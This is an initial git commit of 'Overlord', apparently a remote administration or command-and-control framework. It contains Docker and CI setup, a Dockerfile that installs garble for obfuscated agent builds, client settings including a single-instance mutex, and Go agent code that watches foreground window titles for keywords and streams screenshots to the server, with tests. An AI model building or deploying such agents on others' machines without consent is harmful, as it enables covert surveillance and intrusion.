inital commit

This commit is contained in:
KingKDot
2026-03-05 00:04:26 -06:00
commit f8515a2883
269 changed files with 47081 additions and 0 deletions
+38
View File
@@ -0,0 +1,38 @@
# Node/Bun
node_modules/
.next/
.cache/
dist/
.tmp/
# Database
*.db
*.db-journal
# Configuration (contains secrets)
config.json
# Certificates
certs/
*.crt
*.key
*.pem
*.csr
# OS
.DS_Store
Thumbs.db
.idea
.vscode
# Git
.git
.gitignore
.gitattributes
# Build outputs
dist-clients/
# Logs
*.log
logs/
+53
View File
@@ -0,0 +1,53 @@
# Overlord Configuration (Optional Overrides)
#
# Most users don't need to create a .env file!
# The docker-compose.yml has sensible defaults.
#
# On first startup, secrets are auto-generated and persisted in ./data/save.json
# when not explicitly provided.
#
# Only create .env if you want to customize:
# ============================================
# PRODUCTION: Use pre-built image
# ============================================
# Set this to pull from registry instead of building locally
# DOCKER_IMAGE=ghcr.io/yourusername/overlord-server:latest
# ============================================
# OPTIONAL: Custom initial admin username
# ============================================
# Default is "admin" - change if you prefer a different username
# OVERLORD_USER=myadmin
# OPTIONAL: Custom initial admin password
# Leave empty to generate and persist to save.json
# OVERLORD_PASS=
# ============================================
# OPTIONAL: Custom port
# ============================================
# Default is 5173
# PORT=8080
# ============================================
# ADVANCED: Custom JWT secret
# ============================================
# Leave empty to auto-generate and persist to save.json (recommended)
# JWT_SECRET=
# OPTIONAL: Agent authentication token
# Leave empty to auto-generate and persist to save.json
# OVERLORD_AGENT_TOKEN=
# ============================================
# ADVANCED: Custom TLS certificates
# ============================================
# Leave as defaults to use auto-generated self-signed certs
# OVERLORD_TLS_CERT=/custom/path/server.crt
# OVERLORD_TLS_KEY=/custom/path/server.key
# Agent builder settings (only needed if building agents)
# TARGETS=windows/amd64,windows/386,windows/arm64,linux/amd64,linux/arm64,linux/arm/v7,darwin/amd64,darwin/arm64
# GO_BUILD_FLAGS=-trimpath
# LDFLAGS=-s -w
+15
View File
@@ -0,0 +1,15 @@
# Force LF line endings for shell scripts
*.sh text eol=lf
# Force LF line endings for Go source files
*.go text eol=lf
# Force CRLF for Windows batch files
*.bat text eol=crlf
# Binary files
*.png binary
*.jpg binary
*.jpeg binary
*.ico binary
*.db binary
+58
View File
@@ -0,0 +1,58 @@
name: overlord-ci
on:
push:
tags:
- 'v*'
workflow_dispatch:
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
jobs:
build-and-push:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Normalize image name
run: echo "IMAGE_NAME=${GITHUB_REPOSITORY,,}" >> $GITHUB_ENV
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Log in to GitHub Container Registry
uses: docker/login-action@v3
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=semver,pattern={{major}}
type=raw,value=latest,enable={{is_default_branch}}
- name: Build and push server image
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
platforms: linux/amd64,linux/arm64
+48
View File
@@ -0,0 +1,48 @@
# Node/Bun
node_modules/
bun.lockb
.next/
.cache/
dist/
.tmp/
*.db
# Build output
Overlord-Server/public/assets/tailwind.css
# Configuration
config.json
# Docker
.env
# Go
bin/
*.exe
*.test
*.out
# Certificates (auto-generated)
certs/
*.crt
*.key
*.pem
*.csr
# OS
.DS_Store
Thumbs.db
dist-clients/*
# Plugins
Overlord-Server/plugins/*.zip
Overlord-Server/plugins/.plugin-state.json
plugin-sample-go/*.wasm
plugin-sample-go/*.zip
# Runtime data
Overlord-Server/data/
# Release packaging output
release/
+57
View File
@@ -0,0 +1,57 @@
# Overlord Server Dockerfile
FROM oven/bun:1 AS base
WORKDIR /app
# Install Go for agent building and other tools
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
openssl \
curl \
ca-certificates \
wget \
git \
&& rm -rf /var/lib/apt/lists/*
# Install Go (latest stable version)
ENV GO_VERSION=1.25.6
ARG TARGETARCH
RUN case "${TARGETARCH}" in \
amd64) GO_ARCH=amd64 ;; \
arm64) GO_ARCH=arm64 ;; \
*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
esac \
&& wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
&& tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
&& rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz
ENV PATH="/usr/local/go/bin:${PATH}"
ENV GOPATH="/go"
ENV PATH="${GOPATH}/bin:${PATH}"
# Install garble for obfuscated agent builds (requires Go 1.25+)
RUN go install mvdan.cc/garble@latest
# Copy package files
COPY Overlord-Server/package.json Overlord-Server/bun.lockb* ./
# Install dependencies
RUN bun install --frozen-lockfile
# Copy source code and client code (needed for builds)
COPY Overlord-Server/ ./
COPY Overlord-Client/ ../Overlord-Client/
# Create necessary directories
RUN mkdir -p certs public data
# Expose the default port
EXPOSE 5173
# Set environment variables (can be overridden)
ENV PORT=5173
ENV HOST=0.0.0.0
ENV DATA_DIR=/app/data
ENV NODE_ENV=production
# Run the server
CMD ["bun", "run", "src/index.ts"]
+41
View File
@@ -0,0 +1,41 @@
sudo apt remove $(dpkg --get-selections docker.io docker-compose docker-doc podman-docker containerd runc | cut -f1)
# Add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
Types: deb
URIs: https://download.docker.com/linux/debian
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")
Components: stable
Signed-By: /etc/apt/keyrings/docker.asc
EOF
sudo apt update -y
# Add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
Types: deb
URIs: https://download.docker.com/linux/debian
Suites: $(. /etc/os-release && echo "$VERSION_CODENAME")
Components: stable
Signed-By: /etc/apt/keyrings/docker.asc
EOF
sudo apt update -y
sudo systemctl status docker
sudo systemctl start docker
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+28
View File
@@ -0,0 +1,28 @@
# Overlord Client Environment Configuration
# Copy this file to .env or set as environment variables
# Server URL - MUST use wss:// (TLS is always enabled on server)
OVERLORD_SERVER=wss://your-server.com:5173
# TLS Configuration
# For development with self-signed certificates:
# OVERLORD_TLS_INSECURE_SKIP_VERIFY=true
# For production, trust the server certificate (copy server.crt from server):
# OVERLORD_TLS_CA=./certs/server.crt
OVERLORD_TLS_INSECURE_SKIP_VERIFY=false
# Client certificate for mutual TLS (optional, advanced)
# OVERLORD_TLS_CLIENT_CERT=./certs/client.crt
# OVERLORD_TLS_CLIENT_KEY=./certs/client.key
# Mutex (single-instance) configuration
# Leave empty or set to "none" to allow multiple instances
# OVERLORD_MUTEX=overlord-client
# Capture Configuration
OVERLORD_CAPTURE_INTERVAL=20s
OVERLORD_DISABLE_CAPTURE=false
# Mode: dev, development, local, release, prod, production
OVERLORD_MODE=production
@@ -0,0 +1,13 @@
//go:build !windows
package activewindow
import (
"context"
"overlord-client/cmd/agent/runtime"
)
func Start(_ context.Context, _ *runtime.Env) error {
return nil
}
@@ -0,0 +1,153 @@
//go:build windows
package activewindow
import (
"context"
"log"
"path/filepath"
"strings"
"time"
"unsafe"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
user32 = windows.NewLazySystemDLL("user32.dll")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
procGetWindowTextLengthW = user32.NewProc("GetWindowTextLengthW")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
)
func Start(ctx context.Context, env *runtime.Env) error {
if env == nil {
return nil
}
log.Printf("activewindow: starting monitor")
defer log.Printf("activewindow: stopped")
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
var lastTitle string
var lastPID uint32
lastSent := make(map[string]int64)
for {
select {
case <-ctx.Done():
return nil
case <-ticker.C:
keywords := env.GetNotificationKeywords()
if len(keywords) == 0 {
continue
}
minIntervalMs := env.GetNotificationMinIntervalMs()
title, pid := getActiveWindow()
if title == "" || pid == 0 {
continue
}
if title == lastTitle && pid == lastPID {
continue
}
lastTitle = title
lastPID = pid
match := matchKeyword(title, keywords)
if match == "" {
continue
}
if minIntervalMs > 0 {
key := strings.ToLower(match)
if last, ok := lastSent[key]; ok {
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
continue
}
}
lastSent[key] = time.Now().UnixMilli()
}
procPath := queryProcessPath(pid)
procName := filepath.Base(procPath)
if procName == "." || procName == "" {
procName = "unknown"
}
note := wire.Notification{
Type: "notification",
Category: "active_window",
Title: title,
Process: procName,
ProcessPath: procPath,
PID: int32(pid),
Keyword: match,
TS: time.Now().UnixMilli(),
}
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
log.Printf("activewindow: send notification failed: %v", err)
}
}
}
}
func matchKeyword(title string, keywords []string) string {
if title == "" {
return ""
}
lower := strings.ToLower(title)
for _, kw := range keywords {
k := strings.ToLower(strings.TrimSpace(kw))
if k == "" {
continue
}
if strings.Contains(lower, k) {
return kw
}
}
return ""
}
func getActiveWindow() (string, uint32) {
hwnd := getForegroundWindow()
if hwnd == 0 {
return "", 0
}
length := getWindowTextLength(hwnd)
if length == 0 {
return "", getWindowPID(hwnd)
}
buf := make([]uint16, length+1)
_, _, _ = procGetWindowTextW.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
return windows.UTF16ToString(buf), getWindowPID(hwnd)
}
func getForegroundWindow() windows.Handle {
hwnd, _, _ := procGetForegroundWindow.Call()
return windows.Handle(hwnd)
}
func getWindowTextLength(hwnd windows.Handle) int {
length, _, _ := procGetWindowTextLengthW.Call(uintptr(hwnd))
return int(length)
}
func getWindowPID(hwnd windows.Handle) uint32 {
var pid uint32
_, _, _ = procGetWindowThreadProcessId.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
return pid
}
func queryProcessPath(pid uint32) string {
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
buf := make([]uint16, 1024)
size := uint32(len(buf))
if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &size); err != nil {
return ""
}
return windows.UTF16ToString(buf[:size])
}
+93
View File
@@ -0,0 +1,93 @@
package main
import (
"bytes"
"context"
"image"
"image/jpeg"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/kbinani/screenshot"
)
var (
activeDisplays = screenshot.NumActiveDisplays
captureDisplayFn = screenshot.CaptureDisplay
)
func captureLoop(ctx context.Context, env *rt.Env) {
if supportsCapture() {
_ = captureAndSend(ctx, env)
}
<-ctx.Done()
}
func supportsCapture() bool {
return safeDisplayCount() > 0
}
func captureAndSend(ctx context.Context, env *rt.Env) error {
if safeDisplayCount() == 0 {
return nil
}
img, err := safeCaptureDisplay(0)
if err != nil {
return err
}
if img == nil {
return nil
}
buf := bytes.Buffer{}
if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 60}); err != nil {
return err
}
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{Monitor: 0, FPS: 1, Format: "jpeg"},
Data: buf.Bytes(),
}
return wire.WriteMsg(ctx, env.Conn, frame)
}
func CaptureNow(ctx context.Context, env *rt.Env) error {
if !supportsCapture() {
return nil
}
return captureAndSend(ctx, env)
}
func safeCaptureDisplay(display int) (*image.RGBA, error) {
defer func() {
if recover() != nil {
}
}()
img, err := captureDisplayFn(display)
if err != nil {
return nil, err
}
return img, nil
}
func safeDisplayCount() int {
defer func() {
if recover() != nil {
}
}()
return activeDisplays()
}
func monitorCount() int {
n := safeDisplayCount()
if n <= 0 {
return 1
}
return n
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,13 @@
//go:build linux
package capture
import (
"image"
)
var activeDisplays = func() int { return 0 }
var captureDisplayFn = func(int) (*image.RGBA, error) { return nil, nil }
func displayCount() int { return 0 }
@@ -0,0 +1,17 @@
//go:build windows
package capture
import "image"
func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
return captureDisplayBitBlt(display)
}
func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
img, err := captureDisplayBitBlt(display)
if err == nil && img != nil {
return img, nil
}
return CaptureDisplayRGBA(display)
}
@@ -0,0 +1,434 @@
package capture
import (
"bytes"
"context"
"image"
"image/color"
"image/jpeg"
"testing"
"time"
"overlord-client/cmd/agent/config"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"github.com/vmihailenco/msgpack/v5"
"nhooyr.io/websocket"
)
type recordingWriter struct {
msgs [][]byte
types []websocket.MessageType
}
func (w *recordingWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
w.types = append(w.types, messageType)
w.msgs = append(w.msgs, append([]byte(nil), p...))
return nil
}
func TestCaptureAndSend_NoDisplays(t *testing.T) {
originalCount := activeDisplays
activeDisplays = func() int { return 0 }
t.Cleanup(func() { activeDisplays = originalCount })
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("expected nil error when no displays, got %v", err)
}
if len(writer.msgs) != 0 {
t.Fatalf("expected no messages when no displays, got %d", len(writer.msgs))
}
}
func TestCaptureAndSend_SendsFrame(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
img.Set(0, 0, color.RGBA{R: 200, G: 10, B: 10, A: 255})
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("CaptureAndSend returned error: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected one message written, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("decode frame: %v", err)
}
if frame.Type != "frame" {
t.Fatalf("unexpected frame type: %s", frame.Type)
}
if frame.Header.Format != "jpeg" {
t.Fatalf("unexpected frame format: %s", frame.Header.Format)
}
if len(frame.Data) == 0 {
t.Fatalf("expected jpeg data to be present")
}
if _, err := jpeg.Decode(bytes.NewReader(frame.Data)); err != nil {
t.Fatalf("jpeg payload did not decode: %v", err)
}
}
func TestActualScreenCapture(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Log("WARNING: No displays detected, skipping real screen capture test")
return
}
t.Logf("Testing screen capture with %d display(s)", displayCount)
img, err := safeCaptureDisplay(0)
if err != nil {
t.Logf("WARNING: Failed to capture display 0: %v", err)
return
}
if img == nil {
t.Log("WARNING: Capture returned nil image")
return
}
bounds := img.Bounds()
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Errorf("Invalid image dimensions: %dx%d", bounds.Dx(), bounds.Dy())
return
}
t.Logf("Successfully captured %dx%d image from display 0", bounds.Dx(), bounds.Dy())
hasVariation := false
firstPixel := img.RGBAAt(0, 0)
for y := 0; y < bounds.Dy() && !hasVariation; y++ {
for x := 0; x < bounds.Dx(); x++ {
pixel := img.RGBAAt(x, y)
if pixel != firstPixel {
hasVariation = true
break
}
}
}
if !hasVariation {
t.Log("WARNING: Captured image appears to be solid color (may indicate capture issue)")
}
quality := jpegQuality()
frame, encodeDur, err := buildFrame(img, 0, quality)
if err != nil {
t.Errorf("Failed to build frame from captured image: %v", err)
return
}
t.Logf("Encoded frame: size=%d bytes, encode_time=%s, format=%s",
len(frame.Data), encodeDur, frame.Header.Format)
decodedImg, err := jpeg.Decode(bytes.NewReader(frame.Data))
if err != nil {
t.Errorf("Failed to decode JPEG frame: %v", err)
return
}
if decodedImg.Bounds().Dx() <= 0 || decodedImg.Bounds().Dy() <= 0 {
t.Errorf("Decoded image has invalid dimensions: %dx%d",
decodedImg.Bounds().Dx(), decodedImg.Bounds().Dy())
}
}
func TestMultipleDisplays(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Log("WARNING: No displays detected, skipping multi-display test")
return
}
if displayCount == 1 {
t.Log("Only one display detected, testing single display")
}
for i := 0; i < displayCount; i++ {
t.Run("Display"+string(rune('0'+i)), func(t *testing.T) {
img, err := safeCaptureDisplay(i)
if err != nil {
t.Logf("WARNING: Failed to capture display %d: %v", i, err)
return
}
if img == nil {
t.Logf("WARNING: Capture returned nil for display %d", i)
return
}
bounds := img.Bounds()
t.Logf("Display %d: %dx%d", i, bounds.Dx(), bounds.Dy())
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
t.Errorf("Display %d has invalid dimensions", i)
}
})
}
}
func TestSupportsCapture(t *testing.T) {
hasDisplays := supportsCapture()
displayCount := safeDisplayCount()
if hasDisplays && displayCount == 0 {
t.Error("supportsCapture returned true but displayCount is 0")
}
if !hasDisplays && displayCount > 0 {
t.Error("supportsCapture returned false but displayCount > 0")
}
t.Logf("Capture support: %v (displays: %d)", hasDisplays, displayCount)
}
func TestCaptureWithDifferentDisplayIndices(t *testing.T) {
displayCount := safeDisplayCount()
if displayCount == 0 {
t.Skip("No displays available")
}
tests := []struct {
name string
index int
valid bool
}{
{"ValidFirst", 0, true},
{"ValidLast", displayCount - 1, true},
{"InvalidNegative", -1, false},
{"InvalidTooHigh", displayCount + 10, false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
img, err := safeCaptureDisplay(tt.index)
if tt.valid {
if err != nil {
t.Errorf("Expected valid capture, got error: %v", err)
}
if img == nil {
t.Error("Expected image, got nil")
}
} else {
if img != nil && err == nil {
t.Logf("WARNING: Invalid index %d returned image instead of error", tt.index)
}
}
})
}
}
func TestFrameFPS(t *testing.T) {
resetStats()
for i := 0; i < 10; i++ {
statFrames.Add(1)
}
fps := frameFPS(time.Now())
if fps < 0 {
t.Errorf("FPS should not be negative, got %d", fps)
}
t.Logf("Calculated FPS: %d", fps)
}
func TestJPEGQuality(t *testing.T) {
quality := jpegQuality()
if quality < 1 || quality > 100 {
t.Errorf("JPEG quality out of range: %d (expected 1-100)", quality)
}
t.Logf("JPEG quality: %d", quality)
}
func TestCaptureAndSend_DisplayOutOfRange(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 2 }
capturedDisplay := -1
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
capturedDisplay = displayIndex
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
tests := []struct {
name string
selectedDisplay int
expectedDisplay int
}{
{"NegativeDisplay", -1, 0},
{"TooHighDisplay", 10, 0},
{"ValidDisplay", 1, 1},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
capturedDisplay = -1
writer := &recordingWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{},
SelectedDisplay: tt.selectedDisplay,
}
if err := CaptureAndSend(context.Background(), env); err != nil {
t.Fatalf("CaptureAndSend failed: %v", err)
}
if capturedDisplay != tt.expectedDisplay {
t.Errorf("expected capture from display %d, got %d", tt.expectedDisplay, capturedDisplay)
}
if len(writer.msgs) != 1 {
t.Errorf("expected 1 message, got %d", len(writer.msgs))
}
})
}
}
func TestNow_DisableCapture(t *testing.T) {
writer := &recordingWriter{}
env := &rt.Env{
Conn: writer,
Cfg: config.Config{DisableCapture: true},
}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now with DisableCapture failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected 1 black frame message, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("failed to decode frame: %v", err)
}
if frame.Type != "frame" {
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
}
img, err := jpeg.Decode(bytes.NewReader(frame.Data))
if err != nil {
t.Fatalf("failed to decode JPEG: %v", err)
}
bounds := img.Bounds()
if bounds.Dx() != 64 || bounds.Dy() != 64 {
t.Errorf("expected 64x64 black frame, got %dx%d", bounds.Dx(), bounds.Dy())
}
}
func TestNow_NoDisplays(t *testing.T) {
originalCount := activeDisplays
activeDisplays = func() int { return 0 }
t.Cleanup(func() { activeDisplays = originalCount })
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now with no displays failed: %v", err)
}
if len(writer.msgs) != 0 {
t.Errorf("expected no messages when no displays, got %d", len(writer.msgs))
}
}
func TestNow_Success(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 4, 4))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
captureDisplayFn = originalCapture
})
writer := &recordingWriter{}
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
if err := Now(context.Background(), env); err != nil {
t.Fatalf("Now failed: %v", err)
}
if len(writer.msgs) != 1 {
t.Fatalf("expected 1 message, got %d", len(writer.msgs))
}
var frame wire.Frame
if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil {
t.Fatalf("failed to decode frame: %v", err)
}
if frame.Type != "frame" {
t.Errorf("expected frame type 'frame', got '%s'", frame.Type)
}
}
func TestMonitorCount(t *testing.T) {
count := MonitorCount()
// no monitor means weird
if count < 1 {
t.Errorf("expected at least 1, got %d", count)
}
t.Logf("MonitorCount returned: %d", count)
}
func TestCaptureAndSend_CancelledContext(t *testing.T) {
originalCount := activeDisplays
originalCapture := captureDisplayFn
activeDisplays = func() int { return 1 }
captureDisplayFn = func(displayIndex int) (*image.RGBA, error) {
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
return img, nil
}
t.Cleanup(func() {
activeDisplays = originalCount
